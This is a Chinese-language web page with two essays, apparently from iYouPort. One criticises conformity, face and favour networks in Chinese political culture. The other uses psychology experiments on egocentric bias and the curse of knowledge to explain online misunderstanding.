然中国文化的内核是他律，因此非常在乎别人的看法，这就变成了中国人的行事特征，导致人们总是先接受后理解，面对一项事物、尤其是群体认可了的事物，更是如此——先选择认同、再慢慢去了解，最后逐步下意识的强迫自己喜欢上它。这有点像中国古代的夫妻关系，父母之命媒妁之言，个人没得选择，只能直接接受、再在自认为不可逆转的基础上强迫自己去享受这种状态。

日常生活中很常见的现象，包括并远不限于普通意义上的从众。近日，南昌铁路局一对新婚的职工在洞房之夜抄党章的消息，“震惊”墙内外。其中就有网友跟帖说：“如果一个部门十一个人，十个人都在忙着抄党章，剩下你一个没资格抄的，白天端茶倒水研磨晚上加班做报表，你还笑得出来吗？”

由此想到另外一个例子。多年前采访过一位使用八两称被买家打伤的小贩。八两称就是用八两当一斤的假称，记得那位商贩说：“整个市

场都在使用这种假称，如果你不用，生意不好自己兜着，万一生意好过别人，你就死定了（那被视为一种背叛）。也就是说，用假称可能死在买家手里，不用就可能死在同行手里。但买家对此不容易察觉，而同行容易”……

服从对中国人来说已不止于接受权威的压制，还有来自同等级的、貌似影响的潜规则压力，也就是本系列的主题：他律型社会的思维和行为特征。

有时这种效应已强过自上而下的灌输。某种程度上或许是好事，它可能形成一种反洗脑的表面现象——前提是个体的周边群体支持反洗脑。之所以称之为表面现象，是因为它形成的认知并不是经由思考得来，而是来自于直觉认同、对近距离关系的硬性迎合。于是大部分程度上它不是好事，不论是营销炒作推广垃圾内容、小圈子互捧固化错误意识、还是当局统战大v渗透维稳思路，都将更容易起效。

2、阶层压榨：压抑和报复

他律文化中人们的性格是内敛的，情绪是紧张压抑的，这种紧张让人们不擅长也不敢去直接表达自己的观点。在中国人的意识中，过于直接是一种罪过、含蓄才是美德。压抑久了会形成心理阴影，因此熬到一定程度上不是抓紧享受，而是伺机报复，就如古代的婆婆和儿媳妇的关系，一个绝对主动一个绝对被动。这种报复并不仅仅是针对曾经伤害过自己的人，而是对那些处于自己过去的阶层、或情境中的弱者。

在日前反思文革的舆情中，历史学家李江琳形容国人时说“自己被奴役被屠杀，有机会屠杀别人的时候毫不手软”，就是这个意思。

李江琳认为，一片文革反思声中感到有个严重缺失，我们为什么不反思我们自己的愚蠢？”毛主席挥手我前进”是文革主要口号之一，文革能发动起来，是因为“毛挥手”和“我前进”的组合。要避免文革再次发生，必须斩断这个组合……

这可以说是权威性社会人格造成的。人们生活在一个等级制的社会结构中，似乎是进化偏差的结果，孕育了一种天生服从于权威的可能，这种进化的趋势与社会结构和特定环境互相作用的结果产生了具体的服从个案。当个体选择服从的时候，自身便转变为一种“代理状态”——一种不再认为应当对自己的行为负责的心理状态。

文革运动之所以容易煽起不只缘于服从权威的潜意识，还有那种“终

于翻身”的压抑释放，这种释放直接就是从一个极端到另一个极端。每一种心理极端都暗示其反面，或与其反面维持着某种密切的根本性的关系，情况越是极端，人们越容易预期一个“矛盾对立的运作”。于是不论红卫兵们怎么折腾，始终处于第一序改变内，结果是不仅中国文化的时代特点毫发无损，实际上反而强调了它，所以不会发生任何第二序改变。

国人的压抑是长期存在的，当下的互联网阶层间也能发现它的踪影——不知名的网民极少有机会得到网络名人的协助；大v们拿平台当自我宣传的窗口，不轻易回应粉丝的提问；影响力足够高后化作党产，如果反抗，影响力的扩展将会被掐断，于是加倍自我审查……如果普通网民有一天积攒出足够高的影响力，也就是换位，很可能会重复上述。

「图」

「图」

3、“自己人”和瞒骗

“自己人”是中文语境里最常出现的词条之一，它使用在希望对方放心的场合下。有自己人，就有旁人，前者指的是圈内，后者是圈外。

共产党官员们私下凑在一起时也为低迷的经济状况担忧、党校不公开的讲座也会提及共产党的命运问题，但他们离开那个圈子后，面对老百姓时都是一致的“不许唱衰”。

他律文化的特征是“互相监督”，人们用自己的三观去约束他人，也用他人的三观来约束自己。但有监督者自然就有监督权力，而权力是自上而下的，监督在高阶层面前往往会自动失效。同时有监督也一定就有监督的适用范围，监督的准则是道德，那么范围自然就是道德惩罚可以触及的地方，也就是熟人圈子。一旦超过这个范围，道德监督也就失效了。这便导致圈子内都是好人、圈外都很可疑，在圈子内诚实，在圈外虚伪。在圈子人身上有另一种关系，那就是瞒骗。

骗——有学者说中国人是情境化的，在希望来临之前会将期望值放到最大，从而将对圆满的追求变成对圆满的崇拜，同时又从舒缓走向了紧张。其实不仅在追求完美方面如此，在面对未来的时候也一样。我们大多数人有理想主义情结，下意识将期待描绘得极其美好，并认为那是一种会发生的景象。很多骗子并没有太高明的骗术，只是他能猜到你的期待，并告诉你那一定会成功。如果骗子本身还带有足够的权

威性的话，行骗就极其简单了。虽然他们可能描绘的漏洞百出，人们依旧深信不疑，因为崇拜期待是非理性的。包括并不限于股市、互联网创业、渐进改良……

瞒——骗子们利用了人们的崇拜期待，而骗子面对的是圈子之外，不需要为自己的恶劣行为负责，自然就导致了欺诈横行，而人们的内敛性格带来的有话不能好好说、不敢表达自我的特性，造就的就是瞒。

4、“现实理性”的目光短浅

社会学家帕累托曾说：人是非理性但却会进行理性思考的动物。这里的理性指的是综合思考、对比后认定最合适手段的一种能力。但中国文化的理性却与此有些差别，它更多是基于眼前而产生的现实理性，是为现实尤其是当下的现实服务的。

这种现实理性造成了目光短浅，只见树木不见森林，从网络舆论上不难体察到这点，那些强调“就事论事、解决一件是一件”的人，占据最大比重，他们也反对当局的一些做法，但完全不去考虑类似的恶性事件还将频繁发生，只因根源未除。

曾经目睹过一场来自微信群的激辩，众人相信孙志刚事件“带来的‘变革’必能在雷洋事件的追讨后重演”，且否定独立网友（圈外人）指责体制问题的观点。人们很有信心的说：我们必须一件一件地解决，渐进推动……这句话您一定不陌生，它是大陆公知的常用措辞，已多有被政治反对者批评，此处不赘。政治反对者无一不认为此乃公知之犬儒，不过也许还有上诉“现实理性”特点带来的目光短浅，至少它应该在公知们庞大的支持者群体中存在。

「图」

「图」

5、乞食心态和体制依赖

一个彼此监督的环境里一定会产生不同的等级，有不平等的存在就会有资源分配的倾斜，产生强烈的贫富分化，同时贫富分化反过来加强固定等级的分野。这种单向的不具备流通性的财富分配方式自然会造成畸形的财富观念。这种观念会导致另外一种矛盾，即人们一边仇富，一边又想发财，一边鄙视为富不仁，一边又强烈的希望做个不仁之徒。

人格的缺失会产生人身依赖，于是以丢弃自我的方式来换取利益的乞食行为和乞食心态异常发达。其最终结果就是淡化了奋斗的意义和必要。人们的眼光紧紧盯着结果不放，只要能获得结果，不惜一切手段。到那个时候，道德的约束就会失效，这种约束本身就是他律的，其定义权和解释权在他人的手中，因此当获取结果成为强者之后，也就相当于拥有了道德的定义权和解释权。

我们在一般情况下都不难理解中产阶层对体制的依赖，但也能体察到渐进改良支持者的人数之众，他们的数量之所以远超过激进抗争者，其中的怕变心态是存在的，本身也属于乞食性质。自称民主派却选择微信公众号“发展”、拒绝翻墙融入自由环境的那些人，会能讲出很多理由来捍卫自己的选择，甚至听起来有理有据，他们不会承认被粉丝经济诱惑、被小圈子绑定。但他们的选择无疑是一种妥协，妥协于审查、人情社会和中国式“思考”。

6、人情法则和情境化思维

中国人信奉在家靠父母出门靠朋友，就是上诉思维的外在延续。人们有时也会以接受他人的救济为耻，但如果这种救济来自于自家圈子，就会坦然。于是如果你让一个中国人认同你，那么你必须跟他亲近，当他在你面前感觉不会紧张的时候，你就能彻底走进他的世界了。如果你还做到了急他之困、雪中送炭，他甚至会将人格拱手于你，甘心为你卖命。其内在根源是一种饿怕了穷怕了的无意识恐慌。

在社会中，人们遇到问题时的第一反应会是依托熟人，于是看起来中国是个人情社会，但并不代表它很懂人情，恰恰相反，是人情匮乏——当人情被用来交易的时候。

并且，人情法则的背后是情境化的思维，是一种过度的紧张。

情境化思维指的是在一种情境下国人的代入感会很强，从而做出跟那个情景相符合的事情来。这件事甚至可以是他平时所不想、不愿甚至不屑的事，在那个情景中他也会去做。经常能看到批评中国人双重标准的观点，就是这个原因造成的。

这其中如果有某一面处于正面比如抗争情境，其结果就有可能促成好事。但这种思考方式肯定是坏的，因为它并没有上升到推理型认知的层面，也就是说，个体本身并没有真正理解自己的选择。如果再换一个情境比如反日、文革情境，结果甚至完全相反，然情境并非我们所能控制，当权者掌握了其中绝大部分。

曾经与欧洲媒体讨论过中国的民意调查存在的问题，我说有些调查需要考虑到情境，西方文化环境下长大的记者不甚理解这点。日本媒体也不理解反日砸车、饭店标语等行为，民族主义者真的那么多吗？或许还不好定论。

在人情社会眼中，情分多了自然好办事，不过这种无逻辑、依赖具体情境而散发的情，往往不仅不能给我们带来好处，反而会让人陷入麻烦——当人们将人情无限放大之后，它就变成了一个紧箍咒，变成了道德准则的一种。可这种准则又是没有具体标准的，它会随着情境的变化而变化。很多时候，在这个情境中基于人情道德信条成立、换做另一个情境时它就不成立了。因为人们总是在不同情境中穿梭，两个人处于同一情境中的时候，一个人基于人情的道德法则做出的事，在另一个人眼中会觉得受到了伤害。

但又不能公然反对这种基于人情的做法，于是便会受到道德的约束。结果矛盾就来了，当人情力量足够大，具有道德约束力的时候，它便有了一种魔性……

「图」

「图」

7、在汤锅里反鸡汤是无效的

人情法则几乎坑害了所有的人。在中国文化里，为别人好是一种闪光的品格，然而人生而不同，每个人的价值观、个人需求都不同，这样就会产生一种矛盾，即一个人觉得自己是在替别人着想，但这份好心并非是对方想要的，甚至是对方所避之唯恐不及的。

父母对孩子就是一种典型的“我为你好”的伤害。父母能说服孩子的最佳方式就是为他们营造一个情境，让他们感动。比如一个动人的故事，经常是以父母的自述形式出现的，自己有多么的甘愿付出、伟大、无私，让孩子感觉到亏欠，从而听命于父母代为选择。这种方式不只限于家庭内使用。

励志内容的点击量就能验证其受众之庞大。中国媒体很喜欢请“成功人士”做访谈，尤其是创业、投资方面，如果你注意过相关内容，就不难发现，它们有个规律，就是上诉模式——名人们会营造一种情境，称自己曾经有多少失败、依然心怀远大理想，集坚韧不拔、吃苦耐劳、勇于挑战、谦虚隐忍等几乎一切优秀品质于一身。之后就靠着这些战胜了困难，终于“成功”。

等你上钩了，他就开始卖大力丸了。

虽然拼爹、抱大腿等词汇在日常舆论中不绝于耳，但那些鸡汤励志的内容依旧有超高的收视率和点击量，并还将继续制作下去。难道读者观众都是为了吐槽才去接收那些内容的吗？没有科学的统计数据我们不能轻易下判断。但可以判断的是，我们已经收集到的反馈，它们显示出一种无奈——“不是富二代就只能自己拼”，继而就是侥幸心理——“万一那些成功人士说的是真话呢？不尝试就放弃岂不可惜？”……其最终结果与直接认同毫无差别。继而行为反过来改变认知，从怀疑变为信任。

有两种品质往往最容易营造让人被说服的情境；奉献和不屈，也是极权政府打造英雄模范形象时最管用的元素。被塑造者或自我塑造者会觉得自己掌握了真理、保持了清廉、是正义的化身，如果有人反对，就相当于反对清廉和正义，那反对者就是邪恶的。

我们经常提醒体制外观察人士不要用正常的价值观去分析当权者的言行，当权者有可能不是在装，他们或许真的认为自己很宇宙真理。

个人崇拜（个人英雄主义）本身的问题并不在于崇拜对象是什么人，换句话说就是，政治反对者如果使用极权习惯的方式去反洗脑和动员，是很难成功的。（最常见的比如有些政治异议人士虽然调侃鸡汤、正能量，但同时他们采取的思考模式就是口水炖鸡汤，那样的调侃毫无疑义）

此外，我们并不是在说“吃苦耐劳、勇于挑战”等等都是坏的品质，而是希望解释：道德是自律的，不是用来律他的，错位产生的是道德绑架、是一种貌似温情的暴力。在这样的社会环境里，人们注定紧张，继而为策划者所利用。

8、弱者情结和清官明君梦

中国领导人的“反腐”唱了多少年，国人肯定大多了解，但每一次换届后的换汤不换药，都会被为数不少的老百姓称颂，并据此抱以期待，仿佛并不记得曾经。访民们举着“拥护习近平反腐”条幅的照片至今仍频频出现在维权新闻上，批评者使用的方法也没超出那几样，已经成了车轱辘话，渐渐失去效力。

却少有人想到，国人的清官梦是根植于文化的。从包拯形象在民间的影响力上就不难体察到这点。对清廉的崇拜源于国人的弱者情结。

对于弱者，我们会产生同情心，同时又因为弱者是一个相对概念，所以与之对应的同情心总是摇摆不定。而在强弱对比的环境中，比如官民间，如果此时官员营造出一种情境——自己放弃了牟利的机会、表现出公正廉洁，就很容易产生感召力，前因是，老百姓预设了“有机会不贪白不贪”是为“人之常情”，所以清廉反而是委屈了的结果，弱者情结令人们投之以信赖。

似乎不少人信奉一个逻辑“廉洁等于公正”，其实这个逻辑并不存在，如果一个人缺乏思考能力和专业才能，盲目听信他人，即便其再廉洁，也难以给民众带来公正。但公正和廉洁相比自然是后者更容易判定，它是可视的、基于日常生活判定的，于是更容易形成心理冲击。

情境化思维的人必然是情绪化的，最强烈的情绪化表达就是走极端。在极端的思维中，爱戴的感情化作崇拜，就是我们常见的架神坛，造神运动。不论是古代的孔、孟、包拯，还是现代的偶像网红，都经历过这样一个被粉丝层层加码的造神过程，信息发达的今天都没能完全磨灭这种盲目，可见其根基之坚固。

9、权力和面子

文化体制的特殊性让人们失去了个体自由和个体意识。但人注定要寻找自我存在感，从自己身上找不到，就从他了身上找，由此产生的就是依附关系。而有些强势的人则会反其道而行，他们寻找存在的方式不是依附别人，而是控制别人，在献媚和称颂中获得存在感。前者和后者形成了一种自然的供需关系。

这两种情况下的自我都是虚无的，实则是一种面子，它只有放在群体中才存在。中国式圈子里总会有个中心、加一大群边缘，如果一个圈子里没有中心，每个人地位均等，很可能会出现勾心斗角、明捧暗拆等现象，虽然大家做的是同一件事，却把彼此当做竞争对象去防备。其中包括我们被理解为名利欲的东西。

一旦权力中心产生，权力依附者也将随之出现，献媚是常见的依附行为，献媚者的自我贬低会反过来激发权力者的控制欲望，进而对权力的使用更加严苛。待到这个群体的各种规矩越来越完备，等级制度也会逐步完善，权力中心的权力更加强大的同时，底层的自由空间自然加速缩窄，最终形成又一个集权统治……如今我们以各种方式强调独立自我，就是为避免上诉模式的延续和加固，摆脱他律对判断力的干扰。

10、局域网中的辩论

人们喜欢用自己的经验来看待世界，但却不是解读，而是定义，也就是说，不在自己经验之内的一概否定之，尤其喜欢在信息不完整的情况下去否定别人。

这是一种无来由的、偏执的自信，中文舆论场上特别是社科内容相关的话题讨论中很常见这种现象，有些人就是为了骂人而加入的，他们不需要思考分析，甚至不愿听取对方真实的观点，只要抓住一点非个人常识性的信息便强力反驳。

有趣的是，争辩中的对方可能也处于这种状态下，其结果就是完全的认知错位，双方都用高傲的姿态去指责对方，根本辩不出所以然来。我们常说的“不在一个频道上”，就是那种感觉。这便给沟通带来很多麻烦，本网早前专门用一个系列的话题研析社交网络沟通的技巧，为人际关联打底，但如果上述思维模式较为普遍，再高明的沟通技巧也没有用武之地。〇

广告

原文

为什么很多人感觉全世界的“傻13”都在互联网上？ - iYouPort

心理学和社会学

> 一位朋友说，“如果每天不能高声骂几句傻13，就觉得浑身不自在”。为什么会这样？曾经被认为是汇集全球智慧的互联网，最终让人们看到的却是全球最愚蠢者的大集会？....也许是这样，也许您的确是全世界最聪明的人；但更多时候并不是这样，只是你的错觉。为什么呢？

「图」

曾经听很多人表达过同样的意思：为什么互联网上有如此多的傻13？今天就说说这事。

本文并没有偏离 IYP 的主题，它是另一篇关于社交工程攻击技术的前奏，后者将介绍如何才能令目标人的行为达到攻击者预期的目的。如果您能了解攻击者的思路，就可以知道该如何防御这种攻击。

要想让一个人按照你的意图行事，首先最重要的一步就是让对方能理解你的意图。这不是一句废话，因为理解这件事真的是非常难以做到的，很多人都因此失败了 — — 也是为什么绝大多数骗子看起来只是个笑话。

这就是事实。人与人之间的理解基本不会超过 10%，也许有些人没有感觉到，你能看到对方在点头称是、大家随口就能说出“got”，但是，你无法确定对方的理解和你所表达的意思是完全一致的，直到差强人意的结果导致严重的问题。

为什么理解如此艰难？

自我为中心

社交是生存基础的一部分这话一点不过分。你我都是这颗星球上最具

社会性的物种中的一员。没有一个人类能够独自活下去。要想求得生存、大步前进，就必须和他人协调一致。可以说，能够想象别人脑子里在想什么，从而更加理解别人，是我们大脑最伟大的技能。推断别人怎么想、相信什么、感觉如何、想要什么，时时刻刻指引着我们的日常生活。有些人天生在这方面非常卓越，但是通过后天的练习也能获得同样的能力，也就是此前我们介绍的社交工程技巧的知识。

但是要知道，大多数人没有这方面能力，也没有得到过相关训练，尤其是在互联网上，当我们最大程度上只能使用文字来交流时，彼此的严重误解才是最正常的结果。

理解他人的最大障碍之一就是过度的自我中心主义 —— 社交媒体的设计恰恰就是在培养自我中心主义的。很多实验都可以证明这点，之所以你没能读懂别人的话，很可能是因为你压制不住“我才是对的”的冲动。你克服不了自己的经验、信念、态度、情感、知识和视角，因而意识不到别人看世界的角度很可能跟你不一样。走出自己的小宇宙是非常不容易的。

身处自己小宇宙中心的一个后果就是无法进行有效的交流。我们将在下一篇文章中详细介绍交流这个复杂的问题，至少人们应该知道，有效交流就意味着彼此能走进对方的世界。待在自己的世界里是不存在交流的。

你可能早就发现了，即便是亲亲热热的一家人之间，也非常有可能完全互不理解。想想你和伴侣吵架的过程吧。这可绝不是您家的特色。有一个经典的心理学实验是这么玩的：让已婚夫妇分别估计自己在家庭活动中担当的比例。这里既有好事儿，比如清扫房屋、做早餐、解决争端；也有坏事儿，比如把房屋搞乱、惹恼对方、引起争端等。

研究者把丈夫们和妻子们隔开，分别要求他们说出自己在每项活动中承担的比例。然后把每对配偶的估计数字加起来 —— 理论上，总和不可能超过100%。如果我声称自己做了80%的早餐，而我老婆却说她做了60%，那么我们的孩子显然就会吃上140%的早餐。

但是实验的结果正是如此：把一对对夫妇的估计数字加起来，结果都很显著地超过了100%。

你肯定体验过这种自我中心主义，实际上，早就有人把它编排成了笑话：请问，女人对烧烤的定义是什么？答案：你去菜场买菜、洗生菜、切番茄、剥洋葱、腌肉、吃完了再把一切都拾掇得干干净净，但结论是，他“做了晚饭”。

先别笑，真正有趣的结果还在后头呢。研究者发现，即便是对于坏事儿，我们也是过多地估计了自己的分量，而非过少。在这个实验中，夫妇们倾向于承担超过理论限制的责任，比如你俩吵架了，两人自认为承担的责任加起来却会超过100%。

「图」

自我中心，同样意味着自己会对自身的过错和缺点也过分清楚 — — 比如你很容易想起自己在爱人经受了一天工作的折磨之后，你还挑他的刺儿；再比如，你不小心打破了碟子把它们扔进垃圾桶，虽然还没人看到，但你自己却过意不去。比起自己的毛病，你更难注意到配偶的主观恶意和笨手笨脚。

接下来的发现更出人意料。当研究者要求夫妇们猜猜配偶会说自己承担了多少份额时（无论好事儿还是坏事儿），实验结果尽显世态炎凉，但再次出现了以自我为中心的夸大其词。夫妇们都倾向于认为对方会把好事儿的功劳占尽，而把坏事儿的责任都推给对方。结果，一对对夫妻再次自我中心起来，不论好事儿坏事儿，把猜测的比例加起来，又超过了100%。不难想象，夸大其词和过分尖酸刻薄地认为对方夸大其词，将会在任何关系中导致毫无根据的争吵。

尤其是在互联网上。

因为在团队之中，这种情况可能会变本加厉。随着群体成员数量的增加，你将会忽视的人也会增多，所以，你的自我中心程度就会更强。

尤金·卡鲁索（Eugene Caruso）、马克思·巴泽曼（Max Bazerman）招募了699名哈佛商学院学生做实验。这些学生在过去两年的MBA课程中，分成了一个个学习小组，所有与课程有关的事儿都是和组员们一起完成的。每个组一般有4到9名学生。研究人员问他们自己在小组的总工作量中贡献了百分之几。结果发现，小组人数越多，夸大其词的现象就越严重。人数为4人或更少的小组，所有人加起来的总贡献率看起来还算合理，虽然也是超过了100%；但随着人数增多，他们的判断就越来越不着边际了。人数达到8人时，这些MBA学生的总贡献率达到了140%！这可给“比预期中好”（overachieving）这个词赋予了新的含义。

这个实验告诉我们，当别人不像你想象中那么欣赏你的时候，请放松心态，别太在意。因为这个错很可能出在你自己的脑子里，是你自我中心主义的副产品。

认为别人应该将更多的功劳归之于你，这只是我们广阔无边的自我中心大陆上的一隅。当这一倾向达到极端时，自我中心的思考模式将会变为妄想狂，认为别人都在想着你、说着你、看着你 —— 实际上并没有。

这听起来很疯狂？但我们所有人都会在某些合适的外部环境下短暂地出现这种想法。伊莱恩·米勒（Elaine Miller）是热门室内装潢博客Decorno的博主，她说，社会名流们在把自己房屋的室内装潢展示给别人看的时候，想要传达出正确形象的那种小心翼翼简直丧心病狂。“好像他们时时刻刻都在被别人关注着。就算是他们的房子也是一场秀。”

在社交媒体上，每个人都有类似的名流心态，认为自己发布的任何一条内容都应该获得所有人的点赞、自己说的每一句话都能获得许多的认同。哦不，真的不是这样。然后只能失望，认为其他人都是愚蠢的，“他们为什么不同意我？”，事实上对方也可能认为你是“愚蠢”的，“这家伙发的什么乱七八糟的”……也是为什么心理学家警告“社交媒体会激发抑郁症”。

想象一下你参与了一个有史以来最自由任性的实验 —— 巴瑞·曼尼洛（Barry Manilow）实验。在这场实验中，研究者招募了一群不明真相的本科生，让他们以为自己参加的只是一个标准的心理学实验。现在，想象你就是他们中的一员。当你到达实验室后，研究者引领你穿过走廊进到一个小房间里，然后关上门，并让你“穿上这身T恤，因为这也是实验的一部分”。你把这件T恤展开在面前，我的天啊，上面印着一张巴瑞·曼尼洛的大幅照片，简直闪瞎双眼。或许你是他的死忠粉，但大多数人恐怕只是路人。而且，就算是粉丝也未必想在演唱会之外穿这东西。

但你还是老实听话，穿上了那身T恤，又跟着研究者回到了走廊。她带你进到另一个房间，其他实验参与者早就坐在那里了 —— 他们中没有任何一个人穿着那件T恤！研究者解释说，你跑得慢了点，但你仍然可以照常参加实验。于是你偷摸摸地溜到自己的座位上，但正当此时，研究者突然翻了脸，公开向你道歉，说这次你真的来得太晚了，还是下次再来做实验吧。然后，她把你轰出去了。

这时，最关键的部分来了。研究者告诉你，现在这个实验才真正结束，让你估计房间里会有多少人认出T恤上的人像。此时，你站在房间外面，而另一名研究者会问坐在房间里的人有谁认出了你T恤上的人像。穿着T恤的参与者会估计有将近50%的人能注意到曼尼洛，但实际上，只有23%。就算在规模较小的群体里，打在我们身上的聚光

灯也没你想象中那么亮。

「图」

专业性的悖论

人们都信任专家，尤其是著名专家。但他们也会出错，而且会在很多方面完全不如我们这些门外汉。

你以自己的信念作为棱镜，透过它衡量别人会相信些什么，以及别人相信的程度有多深。但你的脑子里杂七杂八的东西多着呢，信念只是其中一枚会改变观点的棱镜。知识也是这样的一枚棱镜。试着读一遍下面这个句子：

FINISHED FILES ARE THE RESULT

OF YEARS OF SCIENTIFIC STUDY

COMBINED WITH THE

EXPERIENCE OF YEARS

读完了再回头查查句子中有多少个“f”。这很重要，我等着你数完。

你数出来多少个？比一只手还多？如果不是，那么我们就搞清楚了，你的口语极好，数数却很差劲。再试一次。瞅仔细了。我还能再等会儿。

数出6个了吗？别忘了“of”里也有“f”哦。

这下找全了吧？大多数人在读完这句话后第一次都没能数出全部6个f。他们只数出来3个。为什么这么少？这个例子跟你的信念毫无关系，只跟你的知识有关。你对英语的专家级掌握程度蒙住了你的眼睛，让你看不到那3个 f。你的朗读技巧太过精纯了，让你每次阅读的时候，那些词的声音都在心中响起。从你那专家级的视角看来，每次读到“of”时心头响起的声音却更像是“v”而非“f”，所以你就漏掉了它。这就是为什么一年级的小学生比你更容易找到所有6个“f”。

这个例子给我们展示了心理学家所说的“知识的诅咒” — — 另一个棱镜问题中的教科书级案例。

之所以说知识是一种诅咒，是因为一旦你拥有了它，就再也难以想象

没有它是什么感觉。你已经多次在生活中看到别人受到知识的诅咒了。比如说，出去旅游的时候，你可曾向本地人打听过行车路线？或者向一名专业IT人士请教电脑问题，他却满口黑话让你一个字儿也听不懂？在一个实验中，专家级手机用户预测新手平均只需13分钟就能掌握新手机的使用方法，但实际上却需要耗时32分钟。

专家之棱镜就像一台显微镜，让你看到新手们捕捉不到的画面，但它也会让你见木不见林，难以理解新手看到了什么。尝试校正这一棱镜问题的首要方法是要意识到它的影响。问题在于，你很难分辨自己究竟何时受到了专业知识的干扰，何时没有。

请考虑一下或许是心理学史上最著名的学位论文实验：伊丽莎白·牛顿（Elizabeth Newton）的“敲击实验”（tapping study）。在这个实验里，被试们两两一组。每组随机找一人充当“敲击者”，另一人为“倾听者”。敲击者收到一个有着25首歌的歌单，每首歌他都很熟悉，比如《America the Beautiful》、《Rock Around the Clock》等。然后实验人员要求敲击者挑出3首歌，分别敲出节拍给搭档倾听者听。他们背对背坐，所以不会泄题。敲完后，敲击者将估计倾听者猜对歌名的概率，而倾听者则会写下答案。实验结果令人震惊。平均来说，敲击者会估计倾听者猜对的概率是 50%，但实际上只有 2.5%！

「图」

现在你明白“为什么互联网上被认为有如此多的傻 13”了吧。因为所有人都是背对背坐着的，你的敲击和对方的倾听完全不在一个频道上。

这个实验中的敲击者就是熟悉这几首歌的专家，他们已经对旋律了如指掌，敲节拍的时候歌声就在他们的大脑里回响。但倾听者却对这旋律一无所知，在他们听来，那简直是一串音乐摩尔斯密码。关键之处在于，敲击者就是无法认识到，他们脑海里的立体声旋律经由手指这枚发声筒传输之后，在倾听者脑海里是个什么样。

是的没人会只通过敲桌子来沟通，但无论是谁拥有某一领域的专业知识，‘专业棱镜“问题都会影响到他：老板对提案早已里外门清，但他要试着把想法传达给新客户；发明家对自己的发明的重要意义如数家珍，但还是要讲给不耐烦的风险投资人听；同事只想戏弄一下新员工，但新员工对调戏者的善意却一无所知 …… 专家的问题在于，你认为在自己脑子里很清楚的东西，别人对此也应该相当清楚，但实际上他们却很不清楚。

空白状态、电子邮件和上帝

专家的问题，只是把我们的心灵投射到他人之上所导致的诸多错误之一：错以为别人就像我们自己一样认识、思考、信仰和感受。当然，我们也没有把自己完全投射到他人之上。某些情况下，我们投射的概率高一些；面对某些人，我们投射的程度深一些。对别人知道的越少，就越容易用自己的投射来填补空白。保守党和自由党不知道“平均来说”人们是怎么想的，也不清楚怎么让从不投票的人去投票，所以他们更多只能依赖于他们对自己的看法。问问保守党和自由党，他们的邻居怎么想，他们的父母怎么想，他们的配偶怎么想，你听到的答案就远没有那么自我中心主义了。对别人的心理越不了解，棱镜问题就越严重。

理解了这一点，你就能解释电子邮件问题和上帝问题了。

我们先来处理大问题：电子邮件问题。

我们与别人沟通的成效不仅取决于我们说了些什么，还取决于我们怎么说。评价一个人“发型不错”、“这个问题提得好”、“很棒的主意”，伴随着特有的声调和脸上的笑容，有时是一种恭维，有时却是羞辱。然而，这些微妙之处却无一能够通过电子邮件表达。或许用电子邮件沟通并没有用莫尔斯电码写出来的小说那般难懂，但这种文字介质的沟通方式，包括电子邮件、**Twitter** 等，很难传达微妙的语境。因此，与面对面沟通相比，它们就变得面目模糊起来，更容易受到自我中心的干扰。

请考虑如下实验，它清晰地展现了这种模糊沟通中的棱镜问题。邀请一组志愿者就10个话题分别写出两个句子，一个是严肃认真的，一个却充满讽刺意味。可以无所不及 — — 比如食物、汽车、加利福尼亚、约会和电影，等等。然后，让每个志愿者把这些信息传递给另一名志愿者。在一组实验中，他们通过电子邮件来传递信息；而另一组则采用电话沟通。发邮件的人预计他们沟通的效果跟打电话一样好，对方大约都会以80%的准确度理解他们的意图 — — 究竟是认真的还是讽刺的。但是结果显示，信息的接收方只有在通过电话交流时才能准确理解意图，在使用电子邮件时，他们理解的准确度并不比抛硬币好多少。

志愿者面对的问题是，辨别出获取的信息究竟是真诚的还是讽刺的。所以当传递者说：“《福禄双霸天2000》（Blues Brothers 2000）— — Blues Brothers 是一个著名的狗尾续貂电影。无论此时人们是通过语音还是敲击键盘说出来的，他们都能听到自己想表达的讽刺之意。但对于接收方，这种讽刺只能通过说话者的声音听出来，从键盘上飞舞的手指上什么都听不出。

在实验结束时，研究人员请接收者猜测自己理解的正确率。他们都认为自己干的很不赖，无论是电话沟通还是邮件沟通，10个里头怎么说也猜对了9个。现在，你看出来了吧，电子邮件、短信、**Twitter**等模糊的媒介为误解提供了何等丰沃的土壤。使用这种媒介沟通的人知道自己究竟想说些什么，于是自以为表达得清楚明白，信息的接收方明明无法准确理解，却很肯定自己阐释得很对 — — 结果，双方都很惊讶对方怎么会那么蠢。

在你尝试理解他人心灵的过程中，语境越是模糊难辨，你自己的视角对于理解产生的影响就越大。如果你真的想理解同事、竞争者或者自己的孩子，就请不要依赖现代化的沟通方式，它们只是给出了对方的一种现代化罗夏墨迹测试（Rorschach test）结果而已。

> *Twitter* 不会让别人理解到你的深刻思想和广博视角，只会让他们一再确认你就是这么蠢。

现在来看看另一个问题：上帝。正如沟通的媒介可清晰可模糊，你理性思考的对象也同样如此。不需要依赖自己的信念，你就能知道奥巴马是自由主义者，小布什是保守主义者。他们都清楚明确地表达了自己的信念，身上贴着自由党和保守党的标签，别人也会告诉你他们的政治倾向。他们的信仰是比较明确的。那些能无须顾忌就告诉你自己政治倾向的人，比如你的配偶、朋友、孩子、邻居等，他们的信仰也清晰明确。甚至普罗大众也会在民意调查时袒露心迹。但是别人越不愿意、或越不能够让别人得知自己心灵的一言片语，那么他们的心灵对你来说就越像一块白板，等着你映射自己的猜想。

上帝的信徒在考量重大议题的时候，极少咨询人类，常常询问天意。这些议题无所不包，从道德议题一直延伸到个人议题。问题是上帝从不回答民意调查，而所谓记录上帝言行的书也是众所周知的意蕴丰富，任由人们自由解释。世上的许多战争就是由此而来：双方争论上帝究竟是想还是不想做某件事，而各自都认为上帝站在自己这边。

林肯在第二个任期就职典礼上说道，彼时正是美国内战的白热阶段：“读的都是同一本圣经，祈祷的也是同一个上帝，甚至每一方都求助于同一个上帝反对另一方。这看起来有些奇怪，怎么有人竟敢祈求上帝的帮助，夺得别人靠血汗挣来的面包；但我们还是不要论断别人，以免别人论断我们。”

很不幸，只有极少数人拥有林肯的自省天赋。耶稣究竟是相信小政府还是大政府能够有效帮助穷人？宗教是该谴责还是宽恕同性恋婚姻？上帝想让你办那笔房屋抵押贷款吗？上帝想让你富裕吗？高盛投资公

司的CEO劳埃德·布兰克费恩（Lloyd Blankfein）曾告诉记者，他只是一名做着“上帝的工作”的银行家。我认为这条自我评价还有待讨论。

